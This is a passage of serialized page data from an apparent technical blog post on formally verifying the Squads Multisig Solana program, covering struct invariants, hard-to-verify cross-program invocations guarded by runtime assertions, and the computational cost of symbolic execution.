,"tag":85,"props":28155,"children":28156},{"style":120},[28157],{"type":26,"value":27760},{"type":21,"tag":85,"props":28159,"children":28160},{"style":114},[28161],{"type":26,"value":736},{"type":21,"tag":85,"props":28163,"children":28164},{"style":169},[28165],{"type":26,"value":15240},{"type":21,"tag":85,"props":28167,"children":28168},{"style":108},[28169],{"type":26,"value":27751},{"type":21,"tag":85,"props":28171,"children":28172},{"style":114},[28173],{"type":26,"value":1439},{"type":21,"tag":85,"props":28175,"children":28176},{"style":120},[28177],{"type":26,"value":27760},{"type":21,"tag":85,"props":28179,"children":28180},{"style":114},[28181],{"type":26,"value":1074},{"type":21,"tag":85,"props":28183,"children":28184},{"class":87,"line":160},[28185,28190,28195,28200],{"type":21,"tag":85,"props":28186,"children":28187},{"style":120},[28188],{"type":26,"value":28189},"        _",{"type":21,"tag":85,"props":28191,"children":28192},{"style":169},[28193],{"type":26,"value":28194}," =>",{"type":21,"tag":85,"props":28196,"children":28197},{"style":108},[28198],{"type":26,"value":28199}," None",{"type":21,"tag":85,"props":28201,"children":28202},{"style":114},[28203],{"type":26,"value":182},{"type":21,"tag":85,"props":28205,"children":28206},{"class":87,"line":185},[28207],{"type":21,"tag":85,"props":28208,"children":28209},{"style":114},[28210],{"type":26,"value":507},{"type":21,"tag":85,"props":28212,"children":28213},{"class":87,"line":501},[28214],{"type":21,"tag":85,"props":28215,"children":28216},{"style":114},[28217],{"type":26,"value":2671},{"type":21,"tag":22,"props":28219,"children":28220},{},[28221,28223,28228,28230,28235,28237,28242,28244,28249],{"type":26,"value":28222},"So interestingly, a ",{"type":21,"tag":66,"props":28224,"children":28226},{"className":28225},[],[28227],{"type":26,"value":21411},{"type":26,"value":28229}," vec of size 0 ",{"type":21,"tag":39,"props":28231,"children":28232},{},[28233],{"type":26,"value":28234},"is actually",{"type":26,"value":28236}," a sufficient condition to execute ",{"type":21,"tag":66,"props":28238,"children":28240},{"className":28239},[],[28241],{"type":26,"value":25907},{"type":26,"value":28243},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":21,"tag":39,"props":28245,"children":28246},{},[28247],{"type":26,"value":28248},"valid",{"type":26,"value":28250}," multisig, the number of keys should never be zero.",{"type":21,"tag":22,"props":28252,"children":28253},{},[28254,28256,28261],{"type":26,"value":28255},"We can represent this ",{"type":21,"tag":39,"props":28257,"children":28258},{},[28259],{"type":26,"value":28260},"validity",{"type":26,"value":28262}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":21,"tag":75,"props":28264,"children":28266},{"code":28265,"language":79,"meta":7,"className":77,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[28267],{"type":21,"tag":66,"props":28268,"children":28269},{"__ignoreMap":7},[28270,28277,28300,28351,28358],{"type":21,"tag":85,"props":28271,"children":28272},{"class":87,"line":88},[28273],{"type":21,"tag":85,"props":28274,"children":28275},{"style":114},[28276],{"type":26,"value":21206},{"type":21,"tag":85,"props":28278,"children":28279},{"class":87,"line":98},[28280,28284,28288,28292,28296],{"type":21,"tag":85,"props":28281,"children":28282},{"style":114},[28283],{"type":26,"value":25170},{"type":21,"tag":85,"props":28285,"children":28286},{"style":169},[28287],{"type":26,"value":73},{"type":21,"tag":85,"props":28289,"children":28290},{"style":114},[28291],{"type":26,"value":21499},{"type":21,"tag":85,"props":28293,"children":28294},{"style":169},[28295],{"type":26,"value":10358},{"type":21,"tag":85,"props":28297,"children":28298},{"style":114},[28299],{"type":26,"value":21508},{"type":21,"tag":85,"props":28301,"children":28302},{"class":87,"line":151},[28303,28307,28311,28315,28319,28323,28327,28331,28335,28339,28343,28347],{"type":21,"tag":85,"props":28304,"children":28305},{"style":169},[28306],{"type":26,"value":16041},{"type":21,"tag":85,"props":28308,"children":28309},{"style":114},[28310],{"type":26,"value":21432},{"type":21,"tag":85,"props":28312,"children":28313},{"style":169},[28314],{"type":26,"value":73},{"type":21,"tag":85,"props":28316,"children":28317},{"style":114},[28318],{"type":26,"value":21499},{"type":21,"tag":85,"props":28320,"children":28321},{"style":102},[28322],{"type":26,"value":3209},{"type":21,"tag":85,"props":28324,"children":28325},{"style":108},[28326],{"type":26,"value":14149},{"type":21,"tag":85,"props":28328,"children":28329},{"style":169},[28330],{"type":26,"value":2553},{"type":21,"tag":85,"props":28332,"children":28333},{"style":114},[28334],{"type":26,"value":14215},{"type":21,"tag":85,"props":28336,"children":28337},{"style":169},[28338],{"type":26,"value":73},{"type":21,"tag":85,"props":28340,"children":28341},{"style":114},[28342],{"type":26,"value":21411},{"type":21,"tag":85,"props":28344,"children":28345},{"style":169},[28346],{"type":26,"value":73},{"type":21,"tag":85,"props":28348,"children":28349},{"style":114},[28350],{"type":26,"value":21560},{"type":21,"tag":85,"props":28352,"children":28353},{"class":87,"line":160},[28354],{"type":21,"tag":85,"props":28355,"children":28356},{"style":114},[28357],{"type":26,"value":20686},{"type":21,"tag":85,"props":28359,"children":28360},{"class":87,"line":185},[28361,28365,28369,28373,28377,28381],{"type":21,"tag":85,"props":28362,"children":28363},{"style":102},[28364],{"type":26,"value":14108},{"type":21,"tag":85,"props":28366,"children":28367},{"style":102},[28368],{"type":26,"value":21579},{"type":21,"tag":85,"props":28370,"children":28371},{"style":108},[28372],{"type":26,"value":21584},{"type":21,"tag":85,"props":28374,"children":28375},{"style":114},[28376],{"type":26,"value":9999},{"type":21,"tag":85,"props":28378,"children":28379},{"style":169},[28380],{"type":26,"value":10004},{"type":21,"tag":85,"props":28382,"children":28383},{"style":114},[28384],{"type":26,"value":10009},{"type":21,"tag":22,"props":28386,"children":28387},{},[28388,28390,28396,28398,28404],{"type":26,"value":28389},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":21,"tag":66,"props":28391,"children":28393},{"className":28392},[],[28394],{"type":26,"value":28395},"keys.len() == 0",{"type":26,"value":28397}," and allows us to prove the biconditional ",{"type":21,"tag":66,"props":28399,"children":28401},{"className":28400},[],[28402],{"type":26,"value":28403},"(keys.len() >= 1) -> (instruction succeeds)",{"type":26,"value":73},{"type":21,"tag":10022,"props":28406,"children":28408},{"id":28407},"safety-guarantees",[28409],{"type":26,"value":23213},{"type":21,"tag":22,"props":28411,"children":28412},{},[28413],{"type":26,"value":28414},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":21,"tag":22,"props":28416,"children":28417},{},[28418],{"type":26,"value":28419},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":21,"tag":22,"props":28421,"children":28422},{},[28423,28425,28431],{"type":26,"value":28424},"In the multisig program this happens in the ",{"type":21,"tag":66,"props":28426,"children":28428},{"className":28427},[],[28429],{"type":26,"value":28430},"execute_transaction",{"type":26,"value":28432}," instruction.",{"type":21,"tag":22,"props":28434,"children":28435},{},[28436],{"type":21,"tag":39,"props":28437,"children":28438},{},[28439],{"type":26,"value":28440},"So what do you do?",{"type":21,"tag":22,"props":28442,"children":28443},{},[28444],{"type":26,"value":28445},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":21,"tag":75,"props":28447,"children":28449},{"code":28448,"language":79,"meta":7,"className":77,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[28450],{"type":21,"tag":66,"props":28451,"children":28452},{"__ignoreMap":7},[28453,28468,28484,28499,28540,28547,28554,28561,28578,28594,28615,28622,28629,28645,28665,28693,28700,28707,28714,28722,28775,28801,28808,28837,28861,28896,28903,28914],{"type":21,"tag":85,"props":28454,"children":28455},{"class":87,"line":88},[28456,28460,28464],{"type":21,"tag":85,"props":28457,"children":28458},{"style":114},[28459],{"type":26,"value":23266},{"type":21,"tag":85,"props":28461,"children":28462},{"style":108},[28463],{"type":26,"value":23271},{"type":21,"tag":85,"props":28465,"children":28466},{"style":114},[28467],{"type":26,"value":20686},{"type":21,"tag":85,"props":28469,"children":28470},{"class":87,"line":98},[28471,28475,28480],{"type":21,"tag":85,"props":28472,"children":28473},{"style":102},[28474],{"type":26,"value":14108},{"type":21,"tag":85,"props":28476,"children":28477},{"style":108},[28478],{"type":26,"value":28479}," MyCtx",{"type":21,"tag":85,"props":28481,"children":28482},{"style":114},[28483],{"type":26,"value":148},{"type":21,"tag":85,"props":28485,"children":28486},{"class":87,"line":151},[28487,28491,28495],{"type":21,"tag":85,"props":28488,"children":28489},{"style":114},[28490],{"type":26,"value":23558},{"type":21,"tag":85,"props":28492,"children":28493},{"style":102},[28494],{"type":26,"value":2039},{"type":21,"tag":85,"props":28496,"children":28497},{"style":114},[28498],{"type":26,"value":20686},{"type":21,"tag":85,"props":28500,"children":28501},{"class":87,"line":160},[28502,28506,28511,28515,28519,28523,28527,28531,28536],{"type":21,"tag":85,"props":28503,"children":28504},{"style":102},[28505],{"type":26,"value":21271},{"type":21,"tag":85,"props":28507,"children":28508},{"style":120},[28509],{"type":26,"value":28510}," my_account",{"type":21,"tag":85,"props":28512,"children":28513},{"style":169},[28514],{"type":26,"value":172},{"type":21,"tag":85,"props":28516,"children":28517},{"style":108},[28518],{"type":26,"value":23523},{"type":21,"tag":85,"props":28520,"children":28521},{"style":114},[28522],{"type":26,"value":23351},{"type":21,"tag":85,"props":28524,"children":28525},{"style":108},[28526],{"type":26,"value":23356},{"type":21,"tag":85,"props":28528,"children":28529},{"style":114},[28530],{"type":26,"value":256},{"type":21,"tag":85,"props":28532,"children":28533},{"style":108},[28534],{"type":26,"value":28535},"Acc",{"type":21,"tag":85,"props":28537,"children":28538},{"style":114},[28539],{"type":26,"value":313},{"type":21,"tag":85,"props":28541,"children":28542},{"class":87,"line":185},[28543],{"type":21,"tag":85,"props":28544,"children":28545},{"style":114},[28546],{"type":26,"value":2671},{"type":21,"tag":85,"props":28548,"children":28549},{"class":87,"line":501},[28550],{"type":21,"tag":85,"props":28551,"children":28552},{"emptyLinePlaceholder":16},[28553],{"type":26,"value":703},{"type":21,"tag":85,"props":28555,"children":28556},{"class":87,"line":697},[28557],{"type":21,"tag":85,"props":28558,"children":28559},{"style":114},[28560],{"type":26,"value":21198},{"type":21,"tag":85,"props":28562,"children":28563},{"class":87,"line":706},[28564,28569,28573],{"type":21,"tag":85,"props":28565,"children":28566},{"style":114},[28567],{"type":26,"value":28568},"#[invariant(bad ",{"type":21,"tag":85,"props":28570,"children":28571},{"style":169},[28572],{"type":26,"value":2936},{"type":21,"tag":85,"props":28574,"children":28575},{"style":114},[28576],{"type":26,"value":28577}," false)]\n",{"type":21,"tag":85,"props":28579,"children":28580},{"class":87,"line":1100},[28581,28585,28590],{"type":21,"tag":85,"props":28582,"children":28583},{"style":102},[28584],{"type":26,"value":9814},{"type":21,"tag":85,"props":28586,"children":28587},{"style":108},[28588],{"type":26,"value":28589}," Acc",{"type":21,"tag":85,"props":28591,"children":28592},{"style":114},[28593],{"type":26,"value":148},{"type":21,"tag":85,"props":28595,"children":28596},{"class":87,"line":1339},[28597,28601,28606,28610],{"type":21,"tag":85,"props":28598,"children":28599},{"style":102},[28600],{"type":26,"value":21271},{"type":21,"tag":85,"props":28602,"children":28603},{"style":120},[28604],{"type":26,"value":28605}," bad",{"type":21,"tag":85,"props":28607,"children":28608},{"style":169},[28609],{"type":26,"value":172},{"type":21,"tag":85,"props":28611,"children":28612},{"style":108},[28613],{"type":26,"value":28614}," bool\n",{"type":21,"tag":85,"props":28616,"children":28617},{"class":87,"line":1348},[28618],{"type":21,"tag":85,"props":28619,"children":28620},{"style":114},[28621],{"type":26,"value":2671},{"type":21,"tag":85,"props":28623,"children":28624},{"class":87,"line":1386},[28625],{"type":21,"tag":85,"props":28626,"children":28627},{"emptyLinePlaceholder":16},[28628],{"type":26,"value":703},{"type":21,"tag":85,"props":28630,"children":28631},{"class":87,"line":1394},[28632,28637,28641],{"type":21,"tag":85,"props":28633,"children":28634},{"style":102},[28635],{"type":26,"value":28636},"impl",{"type":21,"tag":85,"props":28638,"children":28639},{"style":108},[28640],{"type":26,"value":28589},{"type":21,"tag":85,"props":28642,"children":28643},{"style":114},[28644],{"type":26,"value":148},{"type":21,"tag":85,"props":28646,"children":28647},{"class":87,"line":1402},[28648,28652,28656,28661],{"type":21,"tag":85,"props":28649,"children":28650},{"style":102},[28651],{"type":26,"value":21271},{"type":21,"tag":85,"props":28653,"children":28654},{"style":102},[28655],{"type":26,"value":14113},{"type":21,"tag":85,"props":28657,"children":28658},{"style":1021},[28659],{"type":26,"value":28660}," put_into_bad_state",{"type":21,"tag":85,"props":28662,"children":28663},{"style":114},[28664],{"type":26,"value":16156},{"type":21,"tag":85,"props":28666,"children":28667},{"class":87,"line":3145},[28668,28672,28676,28681,28685,28689],{"type":21,"tag":85,"props":28669,"children":28670},{"style":102},[28671],{"type":26,"value":27801},{"type":21,"tag":85,"props":28673,"children":28674},{"style":169},[28675],{"type":26,"value":73},{"type":21,"tag":85,"props":28677,"children":28678},{"style":114},[28679],{"type":26,"value":28680},"bad ",{"type":21,"tag":85,"props":28682,"children":28683},{"style":169},[28684],{"type":26,"value":741},{"type":21,"tag":85,"props":28686,"children":28687},{"style":102},[28688],{"type":26,"value":12886},{"type":21,"tag":85,"props":28690,"children":28691},{"style":114},[28692],{"type":26,"value":2535},{"type":21,"tag":85,"props":28694,"children":28695},{"class":87,"line":3246},[28696],{"type":21,"tag":85,"props":28697,"children":28698},{"style":114},[28699],{"type":26,"value":507},{"type":21,"tag":85,"props":28701,"children":28702},{"class":87,"line":3255},[28703],{"type":21,"tag":85,"props":28704,"children":28705},{"style":114},[28706],{"type":26,"value":2671},{"type":21,"tag":85,"props":28708,"children":28709},{"class":87,"line":3286},[28710],{"type":21,"tag":85,"props":28711,"children":28712},{"emptyLinePlaceholder":16},[28713],{"type":26,"value":703},{"type":21,"tag":85,"props":28715,"children":28716},{"class":87,"line":3295},[28717],{"type":21,"tag":85,"props":28718,"children":28719},{"style":92},[28720],{"type":26,"value":28721},"// Instruction handler:\n",{"type":21,"tag":85,"props":28723,"children":28724},{"class":87,"line":3308},[28725,28729,28734,28738,28742,28746,28750,28754,28759,28763,28767,28771],{"type":21,"tag":85,"props":28726,"children":28727},{"style":102},[28728],{"type":26,"value":20694},{"type":21,"tag":85,"props":28730,"children":28731},{"style":1021},[28732],{"type":26,"value":28733}," hard_to_verify",{"type":21,"tag":85,"props":28735,"children":28736},{"style":114},[28737],{"type":26,"value":1439},{"type":21,"tag":85,"props":28739,"children":28740},{"style":120},[28741],{"type":26,"value":20708},{"type":21,"tag":85,"props":28743,"children":28744},{"style":169},[28745],{"type":26,"value":172},{"type":21,"tag":85,"props":28747,"children":28748},{"style":108},[28749],{"type":26,"value":20717},{"type":21,"tag":85,"props":28751,"children":28752},{"style":114},[28753],{"type":26,"value":117},{"type":21,"tag":85,"props":28755,"children":28756},{"style":108},[28757],{"type":26,"value":28758},"MyCtx",{"type":21,"tag":85,"props":28760,"children":28761},{"style":114},[28762],{"type":26,"value":20874},{"type":21,"tag":85,"props":28764,"children":28765},{"style":169},[28766],{"type":26,"value":14175},{"type":21,"tag":85,"props":28768,"children":28769},{"style":108},[28770],{"type":26,"value":14180},{"type":21,"tag":85,"props":28772,"children":28773},{"style":114},[28774],{"type":26,"value":20759},{"type":21,"tag":85,"props":28776,"children":28777},{"class":87,"line":3333},[28778,28783,28787,28791,28796],{"type":21,"tag":85,"props":28779,"children":28780},{"style":1021},[28781],{"type":26,"value":28782},"    invoke_signed",{"type":21,"tag":85,"props":28784,"children":28785},{"style":114},[28786],{"type":26,"value":1439},{"type":21,"tag":85,"props":28788,"children":28789},{"style":169},[28790],{"type":26,"value":10004},{"type":21,"tag":85,"props":28792,"children":28793},{"style":114},[28794],{"type":26,"value":28795},"); ",{"type":21,"tag":85,"props":28797,"children":28798},{"style":92},[28799],{"type":26,"value":28800},"// Cross-program invocation\n",{"type":21,"tag":85,"props":28802,"children":28803},{"class":87,"line":3369},[28804],{"type":21,"tag":85,"props":28805,"children":28806},{"emptyLinePlaceholder":16},[28807],{"type":26,"value":703},{"type":21,"tag":85,"props":28809,"children":28810},{"class":87,"line":3377},[28811,28815,28820,28824,28828,28832],{"type":21,"tag":85,"props":28812,"children":28813},{"style":102},[28814],{"type":26,"value":3778},{"type":21,"tag":85,"props":28816,"children":28817},{"style":120},[28818],{"type":26,"value":28819}," invoke_res",{"type":21,"tag":85,"props":28821,"children":28822},{"style":169},[28823],{"type":26,"value":1941},{"type":21,"tag":85,"props":28825,"children":28826},{"style":169},[28827],{"type":26,"value":25740},{"type":21,"tag":85,"props":28829,"children":28830},{"style":114},[28831],{"type":26,"value":17649},{"type":21,"tag":85,"props":28833,"children":28834},{"style":92},[28835],{"type":26,"value":28836},"// fetch result of invocation\n",{"type":21,"tag":85,"props":28838,"children":28839},{"class":87,"line":3386},[28840,28844,28848,28852,28857],{"type":21,"tag":85,"props":28841,"children":28842},{"style":2885},[28843],{"type":26,"value":12696},{"type":21,"tag":85,"props":28845,"children":28846},{"style":120},[28847],{"type":26,"value":28819},{"type":21,"tag":85,"props":28849,"children":28850},{"style":169},[28851],{"type":26,"value":2282},{"type":21,"tag":85,"props":28853,"children":28854},{"style":2285},[28855],{"type":26,"value":28856}," 5",{"type":21,"tag":85,"props":28858,"children":28859},{"style":114},[28860],{"type":26,"value":148},{"type":21,"tag":85,"props":28862,"children":28863},{"class":87,"line":3394},[28864,28868,28872,28877,28881,28886,28891],{"type":21,"tag":85,"props":28865,"children":28866},{"style":120},[28867],{"type":26,"value":26627},{"type":21,"tag":85,"props":28869,"children":28870},{"style":169},[28871],{"type":26,"value":73},{"type":21,"tag":85,"props":28873,"children":28874},{"style":114},[28875],{"type":26,"value":28876},"my_account",{"type":21,"tag":85,"props":28878,"children":28879},{"style":169},[28880],{"type":26,"value":73},{"type":21,"tag":85,"props":28882,"children":28883},{"style":1021},[28884],{"type":26,"value":28885},"put_into_bad_state",{"type":21,"tag":85,"props":28887,"children":28888},{"style":114},[28889],{"type":26,"value":28890},"(); ",{"type":21,"tag":85,"props":28892,"children":28893},{"style":92},[28894],{"type":26,"value":28895},"// corrupt our account\n",{"type":21,"tag":85,"props":28897,"children":28898},{"class":87,"line":3410},[28899],{"type":21,"tag":85,"props":28900,"children":28901},{"style":114},[28902],{"type":26,"value":507},{"type":21,"tag":85,"props":28904,"children":28905},{"class":87,"line":3427},[28906,28910],{"type":21,"tag":85,"props":28907,"children":28908},{"style":108},[28909],{"type":26,"value":14751},{"type":21,"tag":85,"props":28911,"children":28912},{"style":114},[28913],{"type":26,"value":14756},{"type":21,"tag":85,"props":28915,"children":28916},{"class":87,"line":3445},[28917],{"type":21,"tag":85,"props":28918,"children":28919},{"style":114},[28920],{"type":26,"value":2671},{"type":21,"tag":22,"props":28922,"children":28923},{},[28924,28926,28931],{"type":26,"value":28925},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":21,"tag":66,"props":28927,"children":28929},{"className":28928},[],[28930],{"type":26,"value":28876},{"type":26,"value":28932},") will be maintained as long as the instruction succeeds.",{"type":21,"tag":22,"props":28934,"children":28935},{},[28936],{"type":26,"value":28937},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":21,"tag":22,"props":28939,"children":28940},{},[28941,28943,28948],{"type":26,"value":28942},"However, we can ",{"type":21,"tag":39,"props":28944,"children":28945},{},[28946],{"type":26,"value":28947},"augment",{"type":26,"value":28949}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":21,"tag":22,"props":28951,"children":28952},{},[28953],{"type":26,"value":28954},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":21,"tag":75,"props":28956,"children":28958},{"code":28957,"language":79,"meta":7,"className":77,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[28959],{"type":21,"tag":66,"props":28960,"children":28961},{"__ignoreMap":7},[28962,28970,29021,29044,29051,29078,29101,29132,29139,29146,29154,29189,29196,29207],{"type":21,"tag":85,"props":28963,"children":28964},{"class":87,"line":88},[28965],{"type":21,"tag":85,"props":28966,"children":28967},{"style":169},[28968],{"type":26,"value":28969},"...\n",{"type":21,"tag":85,"props":28971,"children":28972},{"class":87,"line":98},[28973,28977,28981,28985,28989,28993,28997,29001,29005,29009,29013,29017],{"type":21,"tag":85,"props":28974,"children":28975},{"style":102},[28976],{"type":26,"value":20694},{"type":21,"tag":85,"props":28978,"children":28979},{"style":1021},[28980],{"type":26,"value":28733},{"type":21,"tag":85,"props":28982,"children":28983},{"style":114},[28984],{"type":26,"value":1439},{"type":21,"tag":85,"props":28986,"children":28987},{"style":120},[28988],{"type":26,"value":20708},{"type":21,"tag":85,"props":28990,"children":28991},{"style":169},[28992],{"type":26,"value":172},{"type":21,"tag":85,"props":28994,"children":28995},{"style":108},[28996],{"type":26,"value":20717},{"type":21,"tag":85,"props":28998,"children":28999},{"style":114},[29000],{"type":26,"value":117},{"type":21,"tag":85,"props":29002,"children":29003},{"style":108},[29004],{"type":26,"value":28758},{"type":21,"tag":85,"props":29006,"children":29007},{"style":114},[29008],{"type":26,"value":20874},{"type":21,"tag":85,"props":29010,"children":29011},{"style":169},[29012],{"type":26,"value":14175},{"type":21,"tag":85,"props":29014,"children":29015},{"style":108},[29016],{"type":26,"value":14180},{"type":21,"tag":85,"props":29018,"children":29019},{"style":114},[29020],{"type":26,"value":20759},{"type":21,"tag":85,"props":29022,"children":29023},{"class":87,"line":151},[29024,29028,29032,29036,29040],{"type":21,"tag":85,"props":29025,"children":29026},{"style":1021},[29027],{"type":26,"value":28782},{"type":21,"tag":85,"props":29029,"children":29030},{"style":114},[29031],{"type":26,"value":1439},{"type":21,"tag":85,"props":29033,"children":29034},{"style":169},[29035],{"type":26,"value":10004},{"type":21,"tag":85,"props":29037,"children":29038},{"style":114},[29039],{"type":26,"value":28795},{"type":21,"tag":85,"props":29041,"children":29042},{"style":92},[29043],{"type":26,"value":28800},{"type":21,"tag":85,"props":29045,"children":29046},{"class":87,"line":160},[29047],{"type":21,"tag":85,"props":29048,"children":29049},{"emptyLinePlaceholder":16},[29050],{"type":26,"value":703},{"type":21,"tag":85,"props":29052,"children":29053},{"class":87,"line":185},[29054,29058,29062,29066,29070,29074],{"type":21,"tag":85,"props":29055,"children":29056},{"style":102},[29057],{"type":26,"value":3778},{"type":21,"tag":85,"props":29059,"children":29060},{"style":120},[29061],{"type":26,"value":28819},{"type":21,"tag":85,"props":29063,"children":29064},{"style":169},[29065],{"type":26,"value":1941},{"type":21,"tag":85,"props":29067,"children":29068},{"style":169},[29069],{"type":26,"value":25740},{"type":21,"tag":85,"props":29071,"children":29072},{"style":114},[29073],{"type":26,"value":17649},{"type":21,"tag":85,"props":29075,"children":29076},{"style":92},[29077],{"type":26,"value":28836},{"type":21,"tag":85,"props":29079,"children":29080},{"class":87,"line":501},[29081,29085,29089,29093,29097],{"type":21,"tag":85,"props":29082,"children":29083},{"style":2885},[29084],{"type":26,"value":12696},{"type":21,"tag":85,"props":29086,"children":29087},{"style":120},[29088],{"type":26,"value":28819},{"type":21,"tag":85,"props":29090,"children":29091},{"style":169},[29092],{"type":26,"value":2282},{"type":21,"tag":85,"props":29094,"children":29095},{"style":2285},[29096],{"type":26,"value":28856},{"type":21,"tag":85,"props":29098,"children":29099},{"style":114},[29100],{"type":26,"value":148},{"type":21,"tag":85,"props":29102,"children":29103},{"class":87,"line":697},[29104,29108,29112,29116,29120,29124,29128],{"type":21,"tag":85,"props":29105,"children":29106},{"style":120},[29107],{"type":26,"value":26627},{"type":21,"tag":85,"props":29109,"children":29110},{"style":169},[29111],{"type":26,"value":73},{"type":21,"tag":85,"props":29113,"children":29114},{"style":114},[29115],{"type":26,"value":28876},{"type":21,"tag":85,"props":29117,"children":29118},{"style":169},[29119],{"type":26,"value":73},{"type":21,"tag":85,"props":29121,"children":29122},{"style":1021},[29123],{"type":26,"value":28885},{"type":21,"tag":85,"props":29125,"children":29126},{"style":114},[29127],{"type":26,"value":28890},{"type":21,"tag":85,"props":29129,"children":29130},{"style":92},[29131],{"type":26,"value":28895},{"type":21,"tag":85,"props":29133,"children":29134},{"class":87,"line":706},[29135],{"type":21,"tag":85,"props":29136,"children":29137},{"style":114},[29138],{"type":26,"value":507},{"type":21,"tag":85,"props":29140,"children":29141},{"class":87,"line":1100},[29142],{"type":21,"tag":85,"props":29143,"children":29144},{"emptyLinePlaceholder":16},[29145],{"type":26,"value":703},{"type":21,"tag":85,"props":29147,"children":29148},{"class":87,"line":1339},[29149],{"type":21,"tag":85,"props":29150,"children":29151},{"style":92},[29152],{"type":26,"value":29153},"    // Enforce invariants at runtime\n",{"type":21,"tag":85,"props":29155,"children":29156},{"class":87,"line":1348},[29157,29161,29165,29169,29173,29177,29181,29185],{"type":21,"tag":85,"props":29158,"children":29159},{"style":1021},[29160],{"type":26,"value":19666},{"type":21,"tag":85,"props":29162,"children":29163},{"style":114},[29164],{"type":26,"value":1439},{"type":21,"tag":85,"props":29166,"children":29167},{"style":120},[29168],{"type":26,"value":20708},{"type":21,"tag":85,"props":29170,"children":29171},{"style":169},[29172],{"type":26,"value":73},{"type":21,"tag":85,"props":29174,"children":29175},{"style":114},[29176],{"type":26,"value":28876},{"type":21,"tag":85,"props":29178,"children":29179},{"style":169},[29180],{"type":26,"value":73},{"type":21,"tag":85,"props":29182,"children":29183},{"style":1021},[29184],{"type":26,"value":22206},{"type":21,"tag":85,"props":29186,"children":29187},{"style":114},[29188],{"type":26,"value":15844},{"type":21,"tag":85,"props":29190,"children":29191},{"class":87,"line":1386},[29192],{"type":21,"tag":85,"props":29193,"children":29194},{"emptyLinePlaceholder":16},[29195],{"type":26,"value":703},{"type":21,"tag":85,"props":29197,"children":29198},{"class":87,"line":1394},[29199,29203],{"type":21,"tag":85,"props":29200,"children":29201},{"style":108},[29202],{"type":26,"value":14751},{"type":21,"tag":85,"props":29204,"children":29205},{"style":114},[29206],{"type":26,"value":14756},{"type":21,"tag":85,"props":29208,"children":29209},{"class":87,"line":1402},[29210],{"type":21,"tag":85,"props":29211,"children":29212},{"style":114},[29213],{"type":26,"value":2671},{"type":21,"tag":22,"props":29215,"children":29216},{},[29217,29219,29224,29226,29231,29233,29238],{"type":26,"value":29218},"Here, we explicitly ",{"type":21,"tag":66,"props":29220,"children":29222},{"className":29221},[],[29223],{"type":26,"value":20411},{"type":26,"value":29225}," that our invariants hold at ",{"type":21,"tag":39,"props":29227,"children":29228},{},[29229],{"type":26,"value":29230},"runtime",{"type":26,"value":29232}," which allows us to be assured that ",{"type":21,"tag":66,"props":29234,"children":29236},{"className":29235},[],[29237],{"type":26,"value":28876},{"type":26,"value":29239}," will not enter a bad state as a result of some unverifiable behavior.",{"type":21,"tag":22,"props":29241,"children":29242},{},[29243],{"type":26,"value":29244},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":21,"tag":54,"props":29246,"children":29248},{"id":29247},"challenges-of-formal-verification-on-solana",[29249],{"type":26,"value":29250},"Challenges of formal verification on Solana",{"type":21,"tag":10022,"props":29252,"children":29254},{"id":29253},"expensive-computation",[29255],{"type":26,"value":29256},"Expensive computation",{"type":21,"tag":22,"props":29258,"children":29259},{},[29260,29262,29267],{"type":26,"value":29261},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":21,"tag":39,"props":29263,"children":29264},{},[29265],{"type":26,"value":29266},"path explosion",{"type":26,"value":29268},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":21,"tag":22,"props":29270,"children":29271},{},[29272,29274,29279],{"type":26,"value":29273},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":21,"tag":39,"props":29275,"children":29276},{},[29277],{"type":26,"value":29278},"formal verification friendly",{"type":26,"value":29280},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":21,"tag":22,"props":29282,"children":29283},{},[29284,29286,29291,29293,29298],{"type":26,"value":29285},"For example, when verifying things like the uniqueness of a ",{"type":21,"tag":66,"props":29287,"children":29289},{"className":29288},[],[29290],{"type":26,"value":21826},{"type":26,"value":29292}," in a ",{"type":21,"tag":66,"props":29294,"children":29296},{"className":29295},[],[29297],{"type":26,"value":17633},{"type":26,"value":29299},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":21,"tag":22,"props":29301,"children":29302},{},[29303,29305,29310,29312,29317,29319,29324,29326,29331,29333,29338,29340,29345],{"type":26,"value":29304},"However, in most cases the properties we are interested in do not require specific search algorithms for the 